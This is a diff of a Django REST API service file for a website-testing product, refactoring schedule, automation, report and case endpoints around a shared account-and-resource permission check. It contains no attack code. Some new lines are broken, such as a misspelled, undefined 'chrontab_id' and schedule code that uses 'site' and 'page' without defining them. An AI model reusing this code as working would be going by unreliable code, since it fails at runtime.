+    # deciding on action type
+    action = 'add' if schedule_id else None
 
-    check_data = check_account(request=request, resource='schedule')
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='schedule', page_id=page_id, 
+        site_id=site_id, schedule_id=schedule_id, action=action
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-    try:
-        site = Site.objects.get(id=request.data.get('site_id'))
-        if site.account != account and site.account != None:
-            data = {'reason': 'cannot create a Schedule for a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        site = None
-    try:
-        page = Page.objects.get(id=request.data.get('page_id'))
-        if page.account != account and page.account != None:
-            data = {'reason': 'cannot create a Schedule for a Page you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        page = None
-    try:
-        schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
-        if schedule.account != account and schedule.account != None:
-            data = {'reason': 'update a Schedule you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        schedule = None
-
-
-    schedule_status = request.data.get('status', None)
-    begin_date_raw = request.data.get('begin_date', None)
-    time = request.data.get('time', None)
-    timezone = request.data.get('timezone', None)
-    freq = request.data.get('frequency', None)
-    task_type = request.data.get('task_type', None)
-    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    configs = request.data.get('configs', None)
-    schedule_id = request.data.get('schedule_id', None)
-    site_id = request.data.get('site_id', None)
-    page_id = request.data.get('page_id', None)
-    case_id = request.data.get('case_id', None)
-    updates = request.data.get('updates', None)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get schedule if checks passed and id is present
+    if schedule_id:
+        schedule = Schedule.objects.get(id=schedule_id)
+    
     # converting to str for **kwargs
     if site_id is not None:
         site_id = str(site_id)
     if page_id is not None:
         page_id = str(page_id)
 
-    if configs is None:
-        configs = settings.CONFIGS
-
+    # toggling schedule status
     if schedule_status != None and schedule != None:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         if task.enabled == True:
@@ -1710,69 +2340,45 @@ def create_or_update_schedule(request):
             schedule.status = 'Active'
         task.save() 
         schedule.save()
-        # retriving object again to avoid cacheing issues
-        schedule_new = Schedule.objects.get(id=request.data.get('schedule_id'))
     
-    # if not status change, updating data
-    else:
-        if Automation.objects.filter(schedule=schedule).exists():
-            automation = Automation.objects.filter(schedule=schedule)[0]
-            auto_id = str(automation.id)
-        else:
-            auto_id = None
-
-        if task_type == 'test':
-            task = 'api.tasks.create_test_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'configs': configs, 
-                'type': test_type,
-                'automation_id': auto_id
-            }
-
-        if task_type == 'scan':
-            task = 'api.tasks.create_scan_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'configs': configs,
-                'type': scan_type,
-                'automation_id': auto_id
-            }
+    # creating or updating schedule
+    if not schedule_status:
 
-        if task_type == 'report':
-            task = 'api.tasks.create_report_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'automation_id': auto_id
-            }
+        # get automation if schedule exists
+        auto_id = None
+        if schedule:
+            if Automation.objects.filter(schedule=schedule).exists():
+                automation = Automation.objects.filter(schedule=schedule)[0]
+                auto_id = str(automation.id)
 
+        # build task
+        task = f'api.tasks.create_{task_type}_bg'
 
-        if task_type == 'testcase':
-            task = 'api.tasks.create_testcase_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'updates': updates,
-                'configs': configs,
-                'case_id': case_id,
-                'automation_id': auto_id,
-            }
+        # build args
+        arguments = {
+            'site_id': site_id,
+            'page_id': page_id,
+            'updates': updates,
+            'configs': configs,
+            'case_id': case_id,
+            'type': scan_type if task_type == 'scan' else test_type,
+            'automation_id': auto_id
+        }
 
-        format_str = '%m/%d/%Y'
+        # setting start date default
+        begin_date = datetime.now()
         
-        try:
-            begin_date = datetime.strptime(begin_date_raw, format_str)
-        except:
-            begin_date = datetime.now()
+        # parsing begin date
+        if begin_date_raw:
+            begin_date = datetime.strptime(begin_date_raw, '%m/%d/%Y')
 
+        # building cron expression time & date
         num_day_of_week = begin_date.weekday()
         day = begin_date.strftime("%d")
         minute = time[3:5]
         hour = time[0:2]
 
+        # building cron expression freq
         if freq == 'daily':
             day_of_week = '*'
             day_of_month = '*'
@@ -1783,7 +2389,7 @@ def create_or_update_schedule(request):
             day_of_week = '*'
             day_of_month = day
 
-        
+        # deciding on scope
         if site is not None:
             url = site.site_url
             level = 'site'
@@ -1791,9 +2397,10 @@ def create_or_update_schedule(request):
             url = page.page_url
             level = 'page'
 
+        # building unique task name
+        task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
 
-        task_name = str(task_type) + '_' + str(level) + '_' + str(url) + '_' + str(freq) + '_@' + str(time) + '_' + str(account.user.id)
-
+        # building or updating chrontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
             timezone=timezone, 
             minute=minute, 
@@ -1802,8 +2409,11 @@ def create_or_update_schedule(request):
             day_of_month=day_of_month,
         )
 
+        # updating periodic task if schedule
+        periodic_task = None
         if schedule:
             if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists():
+                # update existing task
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
                 periodic_task.update(
                     crontab=crontab,
@@ -1811,21 +2421,19 @@ def create_or_update_schedule(request):
                     task=task,
                     kwargs=json.dumps(arguments),
                 )
+                # get periodic task by id
                 periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-            else:
-                periodic_task = PeriodicTask.objects.create(
-                    crontab=crontab,
-                    name=task_name, 
-                    task=task,
-                    kwargs=json.dumps(arguments),
-                )
 
-        else:
+        # check if no task yet
+        if not periodic_task:
+
+            # check if task exists
             if PeriodicTask.objects.filter(name=task_name).exists():
                 data = {'reason': 'Schedule already exists',}
                 record_api_call(request, data, '401')
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
-                
+
+            # create new periodic task 
             periodic_task = PeriodicTask.objects.create(
                 crontab=crontab, 
                 name=task_name, 
@@ -1833,6 +2441,7 @@ def create_or_update_schedule(request):
                 kwargs=json.dumps(arguments),
             )
 
+        # building extras for scheduls
         extras = {
             "configs": configs,
             "test_type": test_type,
@@ -1841,24 +2450,33 @@ def create_or_update_schedule(request):
             "updates": updates
         }
         
+        # update existing schedule
         if schedule:
-            schedule_query = Schedule.objects.filter(id=schedule_id)
-            if schedule_query.exists():
-                schedule_query.update(
-                    user=request.user, 
-                    timezone=timezone,
-                    begin_date=begin_date, 
-                    time=time, 
-                    frequency=freq,
-                    task=task, 
-                    crontab_id=crontab.id, 
-                    task_type=task_type,
-                    extras=extras, 
-                    account=account
-                )
-                schedule_new = Schedule.objects.get(id=schedule_id)
-        else:
-            schedule_new = Schedule.objects.create(
+            
+            # update each param if passed
+            if timezone:
+                schedule.timezone = timezone
+            if begin_date:
+                schedule.begin_date = begin_date 
+            if time:
+                schedule.time = time
+            if freq:
+                schedule.frequency = freq
+            if task:
+                schedule.task = task
+            if chrontab_id:
+                schedule.chrontab_id = chrontab_id
+            if task_type:
+                schedule.task_type = task_type
+            if extras:
+                schedule.extras = extras 
+            
+            # save udpdates
+            schedule.save()
+
+        # create new schedule
+        if not schedule:
+            schedule = Schedule.objects.create(
                 user=request.user, 
                 site=site,
                 page=page, 
@@ -1874,8 +2492,9 @@ def create_or_update_schedule(request):
                 account=account
             )
 
+    # serialize and return
     serializer_context = {'request': request,}
-    data = ScheduleSerializer(schedule_new, context=serializer_context).data
+    data = ScheduleSerializer(schedule, context=serializer_context).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1883,59 +2502,58 @@ def create_or_update_schedule(request):
 
 
 
-def get_schedules(request):
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_schedules(request: object) -> object:
+    """ 
+    Get one or more `Schedules`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     schedule_id = request.query_params.get('schedule_id')
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+    user = request.user
+    account = Member.objects.get(user=user).account
 
-    if schedule_id != None:
-        try:
-            schedule = Schedule.objects.get(id=schedule_id)
-        except:
-            data = {'reason': 'cannot find a Schedule with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if schedule.site.account != user or schedule.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='schedule', page_id=page_id, site_id=site_id, 
+        schedule_id=schedule_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single schedule
+    if schedule_id:
         
+        # get schedule
+        schedule = Schedule.objects.get(id=schedule_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = ScheduleSerializer(schedule, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
-
-    if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if site.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    
+    # get all site scoped schedules
+    if site_id:
+        site = Site.objects.get(id=site_id)
         schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
-    if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if page.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Page you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # get all page scoped schedules
+    if page_id:
+        page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
-        
+    
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
     serializer_context = {'request': request,}
@@ -1947,27 +2565,78 @@ def get_schedules(request):
 
 
 
-def delete_schedule(request, id):
+def get_schedule(request: object, id: str) -> object:
+    """
+    Get single `Schedule` from the passed "id"
 
-    try:
-        schedule = Schedule.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Schedule with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
 
-    task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        schedule_id=id, resource='schedule'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule if checks passed
+    schedule = Schedule.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ScheduleSerializer(schedule, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_schedule(request: object, id: str) -> object:
+    """ 
+    Deletes the `Schedule` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if schedule.account != account:
-        data = {'reason': 'delete Schedules you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, schedule_id=id, resource='schedule')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule and task if checks passed
+    schedule = Schedule.objects.get(id=id)
+    task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
 
+    # delete schedule
     schedule.delete()
+
+    # delete task
     task.delete()
 
+    # return response
     data = {'message': 'Schedule has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1976,81 +2645,123 @@ def delete_schedule(request, id):
 
 
 
+def delete_tasks(page: object=None, site: object=None) -> None:
+    """ 
+    Helper function to delete any `Schedules` & `PerodicTasks`
+    associated with the passed "site" or "page"
 
+    Expects: {
+        'page': object, 
+        'site': object
+    }
+
+    Returns -> None
+    """ 
 
-def delete_tasks(page=None, site=None):
     # get any schedules
-    if page is not None:
+    if page:
         schedules = Schedule.objects.filter(page=page)
-    if site is not None:
+    if site:
         schedules = Schedule.objects.filter(site=site)
+
     # remove any associated tasks
     for schedule in schedules:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         task.delete()
-    return
+    
+    return None
+
+
+
+
+### ------ Begin Automation Services ------ ###
 
 
 
 
-def create_or_update_automation(request):
+def create_or_update_automation(request: object) -> object:
+    """ 
+    Creates or Updates an `Automation` 
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    actions = request.data.get('actions')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
+    schedule_id = request.data.get('schedule_id')
+    automation_id = request.data.get('automation_id')
+    name = request.data.get('name')
+    expressions = request.data.get('expressions')
+
+    # set defaults
+    automation = None
+    schedule = None
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    # deciding on recsource
+    resource = 'automation' if automation_id else 'schedule'
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource=resource, 
+        automation_id=automation_id, schedule_id=schedule_id, 
+        site_id=site_id, page_id=page_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    try:
-        schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
-        try:
-            automation = Automation.objects.get(id=schedule.automation.id)
-            if automation.account != account and automation.account != None:
-                data = {'reason': 'You cannot update a Automation you do not own',}
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-        except:
-            automation = None
-        if schedule.account != account and schedule.account != None:
-            data = {'reason': 'You cannot create a Automation of a Schedule you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        schedule = None
-        automation = None
-
-    # get data 
-    name = request.data.get('name')
-    expressions = request.data.get('expressions')
-    actions = request.data.get('actions')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
+    # get schedule if checks passed
+    if schedule_id:
+        schedule = Schedule.objects.get(id=schedule_id)
+    if automation_id:
+        automation = Automation.objects.get(id=automation_id)
 
+    # update existing automation
     if automation:
-        automation.name = name
-        automation.expressions = expressions
-        automation.actions = actions
-        automation.schedule = schedule
+        if name:
+            automation.name = name
+        if expressions:
+            automation.expressions = expressions
+        if actions:
+            automation.actions = actions
+        if schedule:
+            automation.schedule = schedule
+        # save updates
         automation.save()
 
+    # create new automation
     if not automation:
         automation = Automation.objects.create(
             name=name, 
             expressions=expressions, 
             actions=actions,
             schedule=schedule, 
-            user=request.user, 
+            user=user, 
             account=account
         )
 
+    # update schedule 
     if schedule:
+
+        # update schedule with new automation
         schedule.automation = automation
         schedule.save()
+
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         
+        # get associated page or site id
         site_id = None
         if schedule.site is not None:
             site_id = str(schedule.site.id)
@@ -2058,18 +2769,20 @@ def create_or_update_automation(request):
         if schedule.page is not None:
             page_id = str(schedule.page.id)
 
+        # update periodic task
         arguments = {
             'site_id': site_id,
             'page_id': page_id,
             'automation_id': str(automation.id),
-            'configs': json.loads(task.kwargs).get('configs', None), 
-            'type': json.loads(task.kwargs).get('type', None),
-            'case_id': json.loads(task.kwargs).get('case_id', None),
-            'updates': json.loads(task.kwargs).get('updates', None)
+            'configs': json.loads(task.kwargs).get('configs'), 
+            'type': json.loads(task.kwargs).get('type'),
+            'case_id': json.loads(task.kwargs).get('case_id'),
+            'updates': json.loads(task.kwargs).get('updates')
         }
         task.kwargs=json.dumps(arguments)
         task.save()
 
+    # serialize and return
     serializer_context = {'request': request,}
     data = AutomationSerializer(automation, context=serializer_context).data
     record_api_call(request, data, '200')
@@ -2078,28 +2791,51 @@ def create_or_update_automation(request):
 
     
 
-def get_automations(request):
+
+def get_automations(request: object) -> object:
+    """ 
+    Get one or more `Automations`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     automation_id = request.query_params.get('automation_id')
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if automation_id != None:        
-        try:
-            automation = Automation.objects.get(id=automation_id)
-        except:
-            data = {'reason': 'cannot find a Automation with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if automation.account != account:
-            data = {'reason': 'cannot retrieve an Automation you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='automation', automation_id=automation_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single automation
+    if automation_id:        
+        
+        # get automation
+        automation = Automation.objects.get(id=automation_id)
+        
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = AutomationSerializer(automation, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     
-    automations = Automation.objects.filter(user=user).order_by('-time_created')
+    # get all automations associated with account
+    automations = Automation.objects.filter(account=account).order_by('-time_created')
+
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(automations, request)
     serializer_context = {'request': request,}
@@ -2110,24 +2846,75 @@ def get_automations(request):
 
 
 
-def delete_automation(request, id):
+
+def get_automation(request: object, id: str) -> object:
+    """
+    Get single `Automation` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        automation = Automation.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Automation with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if automation.account != account:
-        data = {'reason': 'delete an automation you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        automation_id=id, resource='automation'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get automation if checks passed
+    automation = Automation.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AutomationSerializer(automation, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
 
+
+
+def delete_automation(request: object, id: str) -> object:
+    """ 
+    Deletes the `Automation` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, automation_id=id, resource='automation')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get automation if checks passed
+    automation = Automation.objects.get(id=id)
+
+    # delete automation
     automation.delete()
 
+    # return response
     data = {'message': 'Automation has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2136,63 +2923,103 @@ def delete_automation(request, id):
 
 
 
+### ------ Begin Report Services ------ ###
 
 
 
 
+def create_or_update_report(request: object) -> object:
+    """ 
+    Creates or Updates an `Report` 
 
-def create_or_update_report(request):
-
-    user = request.user
-    account = Member.objects.get(user=user).account
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-    report_id = request.data.get('report_id', None)
-    page_id = request.data.get('page_id', None)
+    # get request data
+    report_id = request.data.get('report_id')
+    page_id = request.data.get('page_id')
     report_type = request.data.get('type', ['lighthouse', 'yellowlab'])
     text_color = request.data.get('text_color', '#24262d')
     background_color = request.data.get('background_color', '#e1effd')
     highlight_color = request.data.get('highlight_color', '#4283f8')
-    page = Page.objects.get(id=page_id)
 
+    # set defaults
+    report = None
+    page = None
+    
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='report', 
+        report_id=report_id, page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get page if checks passed
+    if page_id:    
+        page = Page.objects.get(id=page_id)
+    # get report if checks passed
+    if report_id:
+        report = Report.objects.get(id=report_id)
+
+    # build report info
     info = {
         "text_color": text_color,
         "background_color": background_color,
         "highlight_color": highlight_color,
     }
     
-    if report_id:
-        try:
-            report = Report.objects.get(id=report_id)
-        except:
-            data = {'reason': 'cannot find a Report with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if report.account != account:
-            data = {'reason': 'update a Report you do not own'}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    else:
+    # update report
+    if report:
+        if info:
+            report.info = info
+        if report_type:
+            report.type = report_type
+        # save updates
+        report.save()
+        
+    # create new report
+    if not report:
         report = Report.objects.create(
             user=request.user, 
             page=page, 
-            account=account
+            site=page.site, 
+            account=account,
+            info=info,
+            type=report_type
         )
-
-    # update report data
-    report.info = info
-    report.type = report_type
-    report.save()
+    
+    # get uncached report 
     un_cached_report = Report.objects.get(id=report.id)
 
-
     # generate report
-    updated_report = R(report=un_cached_report).make_test_report()
-
+    report_data = R(report=un_cached_report).generate_report()
 
+    # serialize report
     serializer_context = {'request': request,}
-    data = ReportSerializer(updated_report, context=serializer_context).data
+    new_report = ReportSerializer(
+        report_data['report'], 
+        context=serializer_context
+    ).data
+
+    # format return data
+    data = {
+        'report': new_report,
+        'success': report_data['success'],
+        'message': report_data['message']
+    }
+
+    # serialize and return
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -2200,34 +3027,58 @@ def create_or_update_report(request):
 
 
 
+def get_reports(request: object) -> object:
+    """ 
+    Get one or more `Reports`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def get_reports(request):
+    # get request data
     page_id = request.query_params.get('page_id', None)
     report_id = request.query_params.get('report_id', None)
+    
+    # get user and account
     user = request.user 
     account = Member.objects.get(user=user).account
 
-    if page_id:
-        try:
-            page = Page.objects.get(id=page_id)
-            reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='report', report_id=report_id,
+        page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get single report
     if report_id:
-        try:
-            report = Report.objects.get(id=report_id)
-        except:
-            data = {'reason': 'cannot find a Report with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        
+        # get report
+        report = Report.objects.get(id=report_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = ReportSerializer(report, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+
+    # get reports scoped to page if checks passed
+    if page_id:
+        page = Page.objects.get(id=page_id)
+        reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
 
+    # get reports scoped to user if checks passed
     if page_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(reports, request)
     serializer_context = {'request': request,}
@@ -2235,33 +3086,81 @@ def get_reports(request):
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
-    
-    
 
 
 
-def delete_report(request, id):
-    user = request.user
-    account = Member.objects.get(user=user).account
 
-    try:
-        report = Report.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Report with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+def get_report(request: object, id: str) -> object:
+    """
+    Get single `Report` from the passed "id"
 
-    if report.account != account:
-        data = {'reason': 'delete Reports you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
 
-    # remove s3 objects
-    delete_report_s3_bg.delay(report_id=id)
-    
-    # remove report
-    report.delete()
+    Returns -> HTTP Response object
+    """
 
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       report_id=id, resource='report'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get report if checks passed
+    report = Report.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ReportSerializer(report, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_report(request: object, id: str) -> object:
+    """ 
+    Deletes the `Report` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, report_id=id, resource='report')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get report if checks passed
+    report = Report.objects.get(id=id)
+
+    # remove s3 objects
+    delete_report_s3_bg.delay(report_id=id)
+    
+    # remove report
+    report.delete()
+
+    # return reponse
     data = {'message': 'Report has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2270,9 +3169,18 @@ def delete_report(request, id):
 
 
 
+def export_report(request: object) -> object:
+    """
+    Used to create and send a Scanerr.landing 
+    `Report` to the passed "email"  
 
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
 
-def export_report(request):
     # getting data from request
     report_id = request.data.get('report_id')
     email = request.data.get('email')
@@ -2298,94 +3206,78 @@ def export_report(request):
 
 
 
+### ------ Begin Cases Services ------ ###
 
 
 
-def save_case_steps(steps, steps_id):
-    # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # saving as json file temporarily
-    with open(f'{steps_id}.json', 'w') as fp:
-        json.dump(steps, fp)
-    
-    # seting up paths
-    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
-    remote_path = f'static/cases/steps/{steps_id}.json'
-    root_path = settings.AWS_S3_URL_PATH
-    steps_url = f'{root_path}/{remote_path}'
-
-    # upload to s3
-    with open(steps_file, 'rb') as data:
-        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-        )
 
-    # remove local copy
-    os.remove(steps_file)
+def create_or_update_case(request: object) -> object:
+    """ 
+    Creates or Updates a `Report` 
 
-    return {
-        'num_steps': len(steps),
-        'url': steps_url
+    Expects: {
+        'request': object
     }
+    
+    Returns -> HTTP Response object
+    """
 
-
-
-
-def create_or_update_case(request):
+    # get request data
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
     site_url = request.data.get('site_url')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # setting defaults
     site = None
 
-    check_data = check_account(request=request)
